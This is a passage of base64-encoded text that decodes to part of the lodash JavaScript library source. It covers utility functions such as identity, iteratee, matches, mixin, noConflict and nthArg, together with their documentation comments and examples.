Jlck9mIF9cbiAgICAgKiBAY2F0ZWdvcnkgVXRpbFxuICAgICAqIEBwYXJhbSB7Li4uKEZ1bmN0aW9ufEZ1bmN0aW9uW10pfSBbZnVuY3NdIFRoZSBmdW5jdGlvbnMgdG8gaW52b2tlLlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgbmV3IGNvbXBvc2l0ZSBmdW5jdGlvbi5cbiAgICAgKiBAc2VlIF8uZmxvd1xuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBmdW5jdGlvbiBzcXVhcmUobikge1xuICAgICAqICAgcmV0dXJuIG4gKiBuO1xuICAgICAqIH1cbiAgICAgKlxuICAgICAqIHZhciBhZGRTcXVhcmUgPSBfLmZsb3dSaWdodChbc3F1YXJlLCBfLmFkZF0pO1xuICAgICAqIGFkZFNxdWFyZSgxLCAyKTtcbiAgICAgKiAvLyA9PiA5XG4gICAgICovXG4gICAgdmFyIGZsb3dSaWdodCA9IGNyZWF0ZUZsb3codHJ1ZSk7XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIG1ldGhvZCByZXR1cm5zIHRoZSBmaXJzdCBhcmd1bWVudCBpdCByZWNlaXZlcy5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAc2luY2UgMC4xLjBcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBjYXRlZ29yeSBVdGlsXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBBbnkgdmFsdWUuXG4gICAgICogQHJldHVybnMgeyp9IFJldHVybnMgYHZhbHVlYC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIG9iamVjdCA9IHsgJ2EnOiAxIH07XG4gICAgICpcbiAgICAgKiBjb25zb2xlLmxvZyhfLmlkZW50aXR5KG9iamVjdCkgPT09IG9iamVjdCk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGlkZW50aXR5KHZhbHVlKSB7XG4gICAgICByZXR1cm4gdmFsdWU7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIGZ1bmN0aW9uIHRoYXQgaW52b2tlcyBgZnVuY2Agd2l0aCB0aGUgYXJndW1lbnRzIG9mIHRoZSBjcmVhdGVkXG4gICAgICogZnVuY3Rpb24uIElmIGBmdW5jYCBpcyBhIHByb3BlcnR5IG5hbWUsIHRoZSBjcmVhdGVkIGZ1bmN0aW9uIHJldHVybnMgdGhlXG4gICAgICogcHJvcGVydHkgdmFsdWUgZm9yIGEgZ2l2ZW4gZWxlbWVudC4gSWYgYGZ1bmNgIGlzIGFuIGFycmF5IG9yIG9iamVjdCwgdGhlXG4gICAgICogY3JlYXRlZCBmdW5jdGlvbiByZXR1cm5zIGB0cnVlYCBmb3IgZWxlbWVudHMgdGhhdCBjb250YWluIHRoZSBlcXVpdmFsZW50XG4gICAgICogc291cmNlIHByb3BlcnRpZXMsIG90aGVyd2lzZSBpdCByZXR1cm5zIGBmYWxzZWAuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQHNpbmNlIDQuMC4wXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAY2F0ZWdvcnkgVXRpbFxuICAgICAqIEBwYXJhbSB7Kn0gW2Z1bmM9Xy5pZGVudGl0eV0gVGhlIHZhbHVlIHRvIGNvbnZlcnQgdG8gYSBjYWxsYmFjay5cbiAgICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgdGhlIGNhbGxiYWNrLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiB2YXIgdXNlcnMgPSBbXG4gICAgICogICB7ICd1c2VyJzogJ2Jhcm5leScsICdhZ2UnOiAzNiwgJ2FjdGl2ZSc6IHRydWUgfSxcbiAgICAgKiAgIHsgJ3VzZXInOiAnZnJlZCcsICAgJ2FnZSc6IDQwLCAnYWN0aXZlJzogZmFsc2UgfVxuICAgICAqIF07XG4gICAgICpcbiAgICAgKiAvLyBUaGUgYF8ubWF0Y2hlc2AgaXRlcmF0ZWUgc2hvcnRoYW5kLlxuICAgICAqIF8uZmlsdGVyKHVzZXJzLCBfLml0ZXJhdGVlKHsgJ3VzZXInOiAnYmFybmV5JywgJ2FjdGl2ZSc6IHRydWUgfSkpO1xuICAgICAqIC8vID0+IFt7ICd1c2VyJzogJ2Jhcm5leScsICdhZ2UnOiAzNiwgJ2FjdGl2ZSc6IHRydWUgfV1cbiAgICAgKlxuICAgICAqIC8vIFRoZSBgXy5tYXRjaGVzUHJvcGVydHlgIGl0ZXJhdGVlIHNob3J0aGFuZC5cbiAgICAgKiBfLmZpbHRlcih1c2VycywgXy5pdGVyYXRlZShbJ3VzZXInLCAnZnJlZCddKSk7XG4gICAgICogLy8gPT4gW3sgJ3VzZXInOiAnZnJlZCcsICdhZ2UnOiA0MCB9XVxuICAgICAqXG4gICAgICogLy8gVGhlIGBfLnByb3BlcnR5YCBpdGVyYXRlZSBzaG9ydGhhbmQuXG4gICAgICogXy5tYXAodXNlcnMsIF8uaXRlcmF0ZWUoJ3VzZXInKSk7XG4gICAgICogLy8gPT4gWydiYXJuZXknLCAnZnJlZCddXG4gICAgICpcbiAgICAgKiAvLyBDcmVhdGUgY3VzdG9tIGl0ZXJhdGVlIHNob3J0aGFuZHMuXG4gICAgICogXy5pdGVyYXRlZSA9IF8ud3JhcChfLml0ZXJhdGVlLCBmdW5jdGlvbihpdGVyYXRlZSwgZnVuYykge1xuICAgICAqICAgcmV0dXJuICFfLmlzUmVnRXhwKGZ1bmMpID8gaXRlcmF0ZWUoZnVuYykgOiBmdW5jdGlvbihzdHJpbmcpIHtcbiAgICAgKiAgICAgcmV0dXJuIGZ1bmMudGVzdChzdHJpbmcpO1xuICAgICAqICAgfTtcbiAgICAgKiB9KTtcbiAgICAgKlxuICAgICAqIF8uZmlsdGVyKFsnYWJjJywgJ2RlZiddLCAvZWYvKTtcbiAgICAgKiAvLyA9PiBbJ2RlZiddXG4gICAgICovXG4gICAgZnVuY3Rpb24gaXRlcmF0ZWUoZnVuYykge1xuICAgICAgcmV0dXJuIGJhc2VJdGVyYXRlZSh0eXBlb2YgZnVuYyA9PSAnZnVuY3Rpb24nID8gZnVuYyA6IGJhc2VDbG9uZShmdW5jLCBDTE9ORV9ERUVQX0ZMQUcpKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGEgZnVuY3Rpb24gdGhhdCBwZXJmb3JtcyBhIHBhcnRpYWwgZGVlcCBjb21wYXJpc29uIGJldHdlZW4gYSBnaXZlblxuICAgICAqIG9iamVjdCBhbmQgYHNvdXJjZWAsIHJldHVybmluZyBgdHJ1ZWAgaWYgdGhlIGdpdmVuIG9iamVjdCBoYXMgZXF1aXZhbGVudFxuICAgICAqIHByb3BlcnR5IHZhbHVlcywgZWxzZSBgZmFsc2VgLlxuICAgICAqXG4gICAgICogKipOb3RlOioqIFRoZSBjcmVhdGVkIGZ1bmN0aW9uIGlzIGVxdWl2YWxlbnQgdG8gYF8uaXNNYXRjaGAgd2l0aCBgc291cmNlYFxuICAgICAqIHBhcnRpYWxseSBhcHBsaWVkLlxuICAgICAqXG4gICAgICogUGFydGlhbCBjb21wYXJpc29ucyB3aWxsIG1hdGNoIGVtcHR5IGFycmF5IGFuZCBlbXB0eSBvYmplY3QgYHNvdXJjZWBcbiAgICAgKiB2YWx1ZXMgYWdhaW5zdCBhbnkgYXJyYXkgb3Igb2JqZWN0IHZhbHVlLCByZXNwZWN0aXZlbHkuIFNlZSBgXy5pc0VxdWFsYFxuICAgICAqIGZvciBhIGxpc3Qgb2Ygc3VwcG9ydGVkIHZhbHVlIGNvbXBhcmlzb25zLlxuICAgICAqXG4gICAgICogKipOb3RlOioqIE11bHRpcGxlIHZhbHVlcyBjYW4gYmUgY2hlY2tlZCBieSBjb21iaW5pbmcgc2V2ZXJhbCBtYXRjaGVyc1xuICAgICAqIHVzaW5nIGBfLm92ZXJTb21lYFxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDMuMC4wXG4gICAgICogQGNhdGVnb3J5IFV0aWxcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gc291cmNlIFRoZSBvYmplY3Qgb2YgcHJvcGVydHkgdmFsdWVzIHRvIG1hdGNoLlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgbmV3IHNwZWMgZnVuY3Rpb24uXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciBvYmplY3RzID0gW1xuICAgICAqICAgeyAnYSc6IDEsICdiJzogMiwgJ2MnOiAzIH0sXG4gICAgICogICB7ICdhJzogNCwgJ2InOiA1LCAnYyc6IDYgfVxuICAgICAqIF07XG4gICAgICpcbiAgICAgKiBfLmZpbHRlcihvYmplY3RzLCBfLm1hdGNoZXMoeyAnYSc6IDQsICdjJzogNiB9KSk7XG4gICAgICogLy8gPT4gW3sgJ2EnOiA0LCAnYic6IDUsICdjJzogNiB9XVxuICAgICAqXG4gICAgICogLy8gQ2hlY2tpbmcgZm9yIHNldmVyYWwgcG9zc2libGUgdmFsdWVzXG4gICAgICogXy5maWx0ZXIob2JqZWN0cywgXy5vdmVyU29tZShbXy5tYXRjaGVzKHsgJ2EnOiAxIH0pLCBfLm1hdGNoZXMoeyAnYSc6IDQgfSldKSk7XG4gICAgICogLy8gPT4gW3sgJ2EnOiAxLCAnYic6IDIsICdjJzogMyB9LCB7ICdhJzogNCwgJ2InOiA1LCAnYyc6IDYgfV1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBtYXRjaGVzKHNvdXJjZSkge1xuICAgICAgcmV0dXJuIGJhc2VNYXRjaGVzKGJhc2VDbG9uZShzb3VyY2UsIENMT05FX0RFRVBfRkxBRykpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBmdW5jdGlvbiB0aGF0IHBlcmZvcm1zIGEgcGFydGlhbCBkZWVwIGNvbXBhcmlzb24gYmV0d2VlbiB0aGVcbiAgICAgKiB2YWx1ZSBhdCBgcGF0aGAgb2YgYSBnaXZlbiBvYmplY3QgdG8gYHNyY1ZhbHVlYCwgcmV0dXJuaW5nIGB0cnVlYCBpZiB0aGVcbiAgICAgKiBvYmplY3QgdmFsdWUgaXMgZXF1aXZhbGVudCwgZWxzZSBgZmFsc2VgLlxuICAgICAqXG4gICAgICogKipOb3RlOioqIFBhcnRpYWwgY29tcGFyaXNvbnMgd2lsbCBtYXRjaCBlbXB0eSBhcnJheSBhbmQgZW1wdHkgb2JqZWN0XG4gICAgICogYHNyY1ZhbHVlYCB2YWx1ZXMgYWdhaW5zdCBhbnkgYXJyYXkgb3Igb2JqZWN0IHZhbHVlLCByZXNwZWN0aXZlbHkuIFNlZVxuICAgICAqIGBfLmlzRXF1YWxgIGZvciBhIGxpc3Qgb2Ygc3VwcG9ydGVkIHZhbHVlIGNvbXBhcmlzb25zLlxuICAgICAqXG4gICAgICogKipOb3RlOioqIE11bHRpcGxlIHZhbHVlcyBjYW4gYmUgY2hlY2tlZCBieSBjb21iaW5pbmcgc2V2ZXJhbCBtYXRjaGVyc1xuICAgICAqIHVzaW5nIGBfLm92ZXJTb21lYFxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDMuMi4wXG4gICAgICogQGNhdGVnb3J5IFV0aWxcbiAgICAgKiBAcGFyYW0ge0FycmF5fHN0cmluZ30gcGF0aCBUaGUgcGF0aCBvZiB0aGUgcHJvcGVydHkgdG8gZ2V0LlxuICAgICAqIEBwYXJhbSB7Kn0gc3JjVmFsdWUgVGhlIHZhbHVlIHRvIG1hdGNoLlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgbmV3IHNwZWMgZnVuY3Rpb24uXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciBvYmplY3RzID0gW1xuICAgICAqICAgeyAnYSc6IDEsICdiJzogMiwgJ2MnOiAzIH0sXG4gICAgICogICB7ICdhJzogNCwgJ2InOiA1LCAnYyc6IDYgfVxuICAgICAqIF07XG4gICAgICpcbiAgICAgKiBfLmZpbmQob2JqZWN0cywgXy5tYXRjaGVzUHJvcGVydHkoJ2EnLCA0KSk7XG4gICAgICogLy8gPT4geyAnYSc6IDQsICdiJzogNSwgJ2MnOiA2IH1cbiAgICAgKlxuICAgICAqIC8vIENoZWNraW5nIGZvciBzZXZlcmFsIHBvc3NpYmxlIHZhbHVlc1xuICAgICAqIF8uZmlsdGVyKG9iamVjdHMsIF8ub3ZlclNvbWUoW18ubWF0Y2hlc1Byb3BlcnR5KCdhJywgMSksIF8ubWF0Y2hlc1Byb3BlcnR5KCdhJywgNCldKSk7XG4gICAgICogLy8gPT4gW3sgJ2EnOiAxLCAnYic6IDIsICdjJzogMyB9LCB7ICdhJzogNCwgJ2InOiA1LCAnYyc6IDYgfV1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBtYXRjaGVzUHJvcGVydHkocGF0aCwgc3JjVmFsdWUpIHtcbiAgICAgIHJldHVybiBiYXNlTWF0Y2hlc1Byb3BlcnR5KHBhdGgsIGJhc2VDbG9uZShzcmNWYWx1ZSwgQ0xPTkVfREVFUF9GTEFHKSk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIGZ1bmN0aW9uIHRoYXQgaW52b2tlcyB0aGUgbWV0aG9kIGF0IGBwYXRoYCBvZiBhIGdpdmVuIG9iamVjdC5cbiAgICAgKiBBbnkgYWRkaXRpb25hbCBhcmd1bWVudHMgYXJlIHByb3ZpZGVkIHRvIHRoZSBpbnZva2VkIG1ldGhvZC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjcuMFxuICAgICAqIEBjYXRlZ29yeSBVdGlsXG4gICAgICogQHBhcmFtIHtBcnJheXxzdHJpbmd9IHBhdGggVGhlIHBhdGggb2YgdGhlIG1ldGhvZCB0byBpbnZva2UuXG4gICAgICogQHBhcmFtIHsuLi4qfSBbYXJnc10gVGhlIGFyZ3VtZW50cyB0byBpbnZva2UgdGhlIG1ldGhvZCB3aXRoLlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgbmV3IGludm9rZXIgZnVuY3Rpb24uXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIHZhciBvYmplY3RzID0gW1xuICAgICAqICAgeyAnYSc6IHsgJ2InOiBfLmNvbnN0YW50KDIpIH0gfSxcbiAgICAgKiAgIHsgJ2EnOiB7ICdiJzogXy5jb25zdGFudCgxKSB9IH1cbiAgICAgKiBdO1xuICAgICAqXG4gICAgICogXy5tYXAob2JqZWN0cywgXy5tZXRob2QoJ2EuYicpKTtcbiAgICAgKiAvLyA9PiBbMiwgMV1cbiAgICAgKlxuICAgICAqIF8ubWFwKG9iamVjdHMsIF8ubWV0aG9kKFsnYScsICdiJ10pKTtcbiAgICAgKiAvLyA9PiBbMiwgMV1cbiAgICAgKi9cbiAgICB2YXIgbWV0aG9kID0gYmFzZVJlc3QoZnVuY3Rpb24ocGF0aCwgYXJncykge1xuICAgICAgcmV0dXJuIGZ1bmN0aW9uKG9iamVjdCkge1xuICAgICAgICByZXR1cm4gYmFzZUludm9rZShvYmplY3QsIHBhdGgsIGFyZ3MpO1xuICAgICAgfTtcbiAgICB9KTtcblxuICAgIC8qKlxuICAgICAqIFRoZSBvcHBvc2l0ZSBvZiBgXy5tZXRob2RgOyB0aGlzIG1ldGhvZCBjcmVhdGVzIGEgZnVuY3Rpb24gdGhhdCBpbnZva2VzXG4gICAgICogdGhlIG1ldGhvZCBhdCBhIGdpdmVuIHBhdGggb2YgYG9iamVjdGAuIEFueSBhZGRpdGlvbmFsIGFyZ3VtZW50cyBhcmVcbiAgICAgKiBwcm92aWRlZCB0byB0aGUgaW52b2tlZCBtZXRob2QuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMy43LjBcbiAgICAgKiBAY2F0ZWdvcnkgVXRpbFxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBvYmplY3QgVGhlIG9iamVjdCB0byBxdWVyeS5cbiAgICAgKiBAcGFyYW0gey4uLip9IFthcmdzXSBUaGUgYXJndW1lbnRzIHRvIGludm9rZSB0aGUgbWV0aG9kIHdpdGguXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIHRoZSBuZXcgaW52b2tlciBmdW5jdGlvbi5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIGFycmF5ID0gXy50aW1lcygzLCBfLmNvbnN0YW50KSxcbiAgICAgKiAgICAgb2JqZWN0ID0geyAnYSc6IGFycmF5LCAnYic6IGFycmF5LCAnYyc6IGFycmF5IH07XG4gICAgICpcbiAgICAgKiBfLm1hcChbJ2FbMl0nLCAnY1swXSddLCBfLm1ldGhvZE9mKG9iamVjdCkpO1xuICAgICAqIC8vID0+IFsyLCAwXVxuICAgICAqXG4gICAgICogXy5tYXAoW1snYScsICcyJ10sIFsnYycsICcwJ11dLCBfLm1ldGhvZE9mKG9iamVjdCkpO1xuICAgICAqIC8vID0+IFsyLCAwXVxuICAgICAqL1xuICAgIHZhciBtZXRob2RPZiA9IGJhc2VSZXN0KGZ1bmN0aW9uKG9iamVjdCwgYXJncykge1xuICAgICAgcmV0dXJuIGZ1bmN0aW9uKHBhdGgpIHtcbiAgICAgICAgcmV0dXJuIGJhc2VJbnZva2Uob2JqZWN0LCBwYXRoLCBhcmdzKTtcbiAgICAgIH07XG4gICAgfSk7XG5cbiAgICAvKipcbiAgICAgKiBBZGRzIGFsbCBvd24gZW51bWVyYWJsZSBzdHJpbmcga2V5ZWQgZnVuY3Rpb24gcHJvcGVydGllcyBvZiBhIHNvdXJjZVxuICAgICAqIG9iamVjdCB0byB0aGUgZGVzdGluYXRpb24gb2JqZWN0LiBJZiBgb2JqZWN0YCBpcyBhIGZ1bmN0aW9uLCB0aGVuIG1ldGhvZHNcbiAgICAgKiBhcmUgYWRkZWQgdG8gaXRzIHByb3RvdHlwZSBhcyB3ZWxsLlxuICAgICAqXG4gICAgICogKipOb3RlOioqIFVzZSBgXy5ydW5JbkNvbnRleHRgIHRvIGNyZWF0ZSBhIHByaXN0aW5lIGBsb2Rhc2hgIGZ1bmN0aW9uIHRvXG4gICAgICogYXZvaWQgY29uZmxpY3RzIGNhdXNlZCBieSBtb2RpZnlpbmcgdGhlIG9yaWdpbmFsLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQGNhdGVnb3J5IFV0aWxcbiAgICAgKiBAcGFyYW0ge0Z1bmN0aW9ufE9iamVjdH0gW29iamVjdD1sb2Rhc2hdIFRoZSBkZXN0aW5hdGlvbiBvYmplY3QuXG4gICAgICogQHBhcmFtIHtPYmplY3R9IHNvdXJjZSBUaGUgb2JqZWN0IG9mIGZ1bmN0aW9ucyB0byBhZGQuXG4gICAgICogQHBhcmFtIHtPYmplY3R9IFtvcHRpb25zPXt9XSBUaGUgb3B0aW9ucyBvYmplY3QuXG4gICAgICogQHBhcmFtIHtib29sZWFufSBbb3B0aW9ucy5jaGFpbj10cnVlXSBTcGVjaWZ5IHdoZXRoZXIgbWl4aW5zIGFyZSBjaGFpbmFibGUuXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufE9iamVjdH0gUmV0dXJucyBgb2JqZWN0YC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogZnVuY3Rpb24gdm93ZWxzKHN0cmluZykge1xuICAgICAqICAgcmV0dXJuIF8uZmlsdGVyKHN0cmluZywgZnVuY3Rpb24odikge1xuICAgICAqICAgICByZXR1cm4gL1thZWlvdV0vaS50ZXN0KHYpO1xuICAgICAqICAgfSk7XG4gICAgICogfVxuICAgICAqXG4gICAgICogXy5taXhpbih7ICd2b3dlbHMnOiB2b3dlbHMgfSk7XG4gICAgICogXy52b3dlbHMoJ2ZyZWQnKTtcbiAgICAgKiAvLyA9PiBbJ2UnXVxuICAgICAqXG4gICAgICogXygnZnJlZCcpLnZvd2VscygpLnZhbHVlKCk7XG4gICAgICogLy8gPT4gWydlJ11cbiAgICAgKlxuICAgICAqIF8ubWl4aW4oeyAndm93ZWxzJzogdm93ZWxzIH0sIHsgJ2NoYWluJzogZmFsc2UgfSk7XG4gICAgICogXygnZnJlZCcpLnZvd2VscygpO1xuICAgICAqIC8vID0+IFsnZSddXG4gICAgICovXG4gICAgZnVuY3Rpb24gbWl4aW4ob2JqZWN0LCBzb3VyY2UsIG9wdGlvbnMpIHtcbiAgICAgIHZhciBwcm9wcyA9IGtleXMoc291cmNlKSxcbiAgICAgICAgICBtZXRob2ROYW1lcyA9IGJhc2VGdW5jdGlvbnMoc291cmNlLCBwcm9wcyk7XG5cbiAgICAgIGlmIChvcHRpb25zID09IG51bGwgJiZcbiAgICAgICAgICAhKGlzT2JqZWN0KHNvdXJjZSkgJiYgKG1ldGhvZE5hbWVzLmxlbmd0aCB8fCAhcHJvcHMubGVuZ3RoKSkpIHtcbiAgICAgICAgb3B0aW9ucyA9IHNvdXJjZTtcbiAgICAgICAgc291cmNlID0gb2JqZWN0O1xuICAgICAgICBvYmplY3QgPSB0aGlzO1xuICAgICAgICBtZXRob2ROYW1lcyA9IGJhc2VGdW5jdGlvbnMoc291cmNlLCBrZXlzKHNvdXJjZSkpO1xuICAgICAgfVxuICAgICAgdmFyIGNoYWluID0gIShpc09iamVjdChvcHRpb25zKSAmJiAnY2hhaW4nIGluIG9wdGlvbnMpIHx8ICEhb3B0aW9ucy5jaGFpbixcbiAgICAgICAgICBpc0Z1bmMgPSBpc0Z1bmN0aW9uKG9iamVjdCk7XG5cbiAgICAgIGFycmF5RWFjaChtZXRob2ROYW1lcywgZnVuY3Rpb24obWV0aG9kTmFtZSkge1xuICAgICAgICB2YXIgZnVuYyA9IHNvdXJjZVttZXRob2ROYW1lXTtcbiAgICAgICAgb2JqZWN0W21ldGhvZE5hbWVdID0gZnVuYztcbiAgICAgICAgaWYgKGlzRnVuYykge1xuICAgICAgICAgIG9iamVjdC5wcm90b3R5cGVbbWV0aG9kTmFtZV0gPSBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgIHZhciBjaGFpbkFsbCA9IHRoaXMuX19jaGFpbl9fO1xuICAgICAgICAgICAgaWYgKGNoYWluIHx8IGNoYWluQWxsKSB7XG4gICAgICAgICAgICAgIHZhciByZXN1bHQgPSBvYmplY3QodGhpcy5fX3dyYXBwZWRfXyksXG4gICAgICAgICAgICAgICAgICBhY3Rpb25zID0gcmVzdWx0Ll9fYWN0aW9uc19fID0gY29weUFycmF5KHRoaXMuX19hY3Rpb25zX18pO1xuXG4gICAgICAgICAgICAgIGFjdGlvbnMucHVzaCh7ICdmdW5jJzogZnVuYywgJ2FyZ3MnOiBhcmd1bWVudHMsICd0aGlzQXJnJzogb2JqZWN0IH0pO1xuICAgICAgICAgICAgICByZXN1bHQuX19jaGFpbl9fID0gY2hhaW5BbGw7XG4gICAgICAgICAgICAgIHJldHVybiByZXN1bHQ7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICByZXR1cm4gZnVuYy5hcHBseShvYmplY3QsIGFycmF5UHVzaChbdGhpcy52YWx1ZSgpXSwgYXJndW1lbnRzKSk7XG4gICAgICAgICAgfTtcbiAgICAgICAgfVxuICAgICAgfSk7XG5cbiAgICAgIHJldHVybiBvYmplY3Q7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogUmV2ZXJ0cyB0aGUgYF9gIHZhcmlhYmxlIHRvIGl0cyBwcmV2aW91cyB2YWx1ZSBhbmQgcmV0dXJucyBhIHJlZmVyZW5jZSB0b1xuICAgICAqIHRoZSBgbG9kYXNoYCBmdW5jdGlvbi5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAc2luY2UgMC4xLjBcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBjYXRlZ29yeSBVdGlsXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIHRoZSBgbG9kYXNoYCBmdW5jdGlvbi5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIGxvZGFzaCA9IF8ubm9Db25mbGljdCgpO1xuICAgICAqL1xuICAgIGZ1bmN0aW9uIG5vQ29uZmxpY3QoKSB7XG4gICAgICBpZiAocm9vdC5fID09PSB0aGlzKSB7XG4gICAgICAgIHJvb3QuXyA9IG9sZERhc2g7XG4gICAgICB9XG4gICAgICByZXR1cm4gdGhpcztcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGlzIG1ldGhvZCByZXR1cm5zIGB1bmRlZmluZWRgLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDIuMy4wXG4gICAgICogQGNhdGVnb3J5IFV0aWxcbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy50aW1lcygyLCBfLm5vb3ApO1xuICAgICAqIC8vID0+IFt1bmRlZmluZWQsIHVuZGVmaW5lZF1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBub29wKCkge1xuICAgICAgLy8gTm8gb3BlcmF0aW9uIHBlcmZvcm1lZC5cbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGEgZnVuY3Rpb24gdGhhdCBnZXRzIHRoZSBhcmd1bWVudCBhdCBpbmRleCBgbmAuIElmIGBuYCBpcyBuZWdhdGl2ZSxcbiAgICAgKiB0aGUgbnRoIGFyZ3VtZW50IGZyb20gdGhlIGVuZCBpcyByZXR1cm5lZC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBVdGlsXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtuPTBdIFRoZSBpbmRleCBvZiB0aGUgYXJndW1lbnQgdG8gcmV0dXJuLlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgbmV3IHBhc3MtdGhydSBmdW5jdGlvbi5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIGZ1bmMgPSBfLm50aEFyZygxKTtcbiAgICAgKiBmdW5jKCdhJywgJ2InLCAnYycsICdkJyk7XG4gICAgICogLy8gPT4gJ2InXG4gICAgICpcbiAgICAgKiB2YXIgZnVuYyA9IF8ubnRoQXJnKC0yKTtcbiAgICAgKiBmdW5jKCdhJywgJ2InLCAnYycsICdkJyk7XG4gICAgICogLy8gPT4gJ2MnXG4gICAgICovXG4gICAgZnVuY3Rpb24gbnRoQXJnKG4pIHtcbiAgICAgIG4gPSB0b0ludGVnZXIobik7XG4gICAgICByZXR1cm4gYmFzZVJlc3QoZnVuY3Rpb24oYXJncykge1xuICAgICAgICByZXR1cm4gYmFzZU50aChhcmdzLCBuKTtcbiAgICAgIH0pO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBmdW5jdGlvbiB0aGF0IGludm9rZXMgYGl0ZXJhdGVlc2Agd2l0aCB0aGUgYXJndW1lbnRzIGl0IHJlY2VpdmVzXG4gICAgICogYW5kIHJldHVybnMgdGhlaXIgcmVzdWx0cy5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBVdGlsXG4gICAgICogQHBhcmFtIHsuLi4oRnVuY3Rpb258RnVuY3Rpb25bXSl9IFtpdGVyYXRlZXM9W18uaWRlbnRpdHldXVxuICAgICAqICBUaGUgaXRlcmF0ZWVzIHRvIGludm9rZS5cbiAgICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgdGhlIG5ldyBmdW5jdGlvbi5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIGZ1bmMgPSBfLm92ZXIoW01hdGgubWF4LCBNYXRoLm1pbl0pO1xuICAgICAqXG4gICAgICogZnVuYygxLCAyLCAzLCA0KTtcbiAgICAgKiAvLyA9PiBbNCwgMV1cbiAgICAgKi9cbiAgICB2YXIgb3ZlciA9IGNyZWF0ZU92ZXIoYXJyYXlNYXApO1xuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIGZ1bmN0aW9uIHRoYXQgY2hlY2tzIGlmICoqYWxsKiogb2YgdGhlIGBwcmVkaWNhdGVzYCByZXR1cm5cbiAgICAgKiB0cnV0aHkgd2hlbiBpbnZva2VkIHdpdGggdGhlIGFyZ3VtZW50cyBpdCByZWNlaXZlcy5cbiAgICAgKlxuICAgICAqIEZvbGxvd2luZyBzaG9ydGhhbmRzIGFyZSBwb3NzaWJsZSBmb3IgcHJvdmlkaW5nIHByZWRpY2F0ZXMuXG4gICAgICogUGFzcyBhbiBgT2JqZWN0YCBhbmQgaXQgd2lsbCBiZSB1c2VkIGFzIGFuIHBhcmFtZXR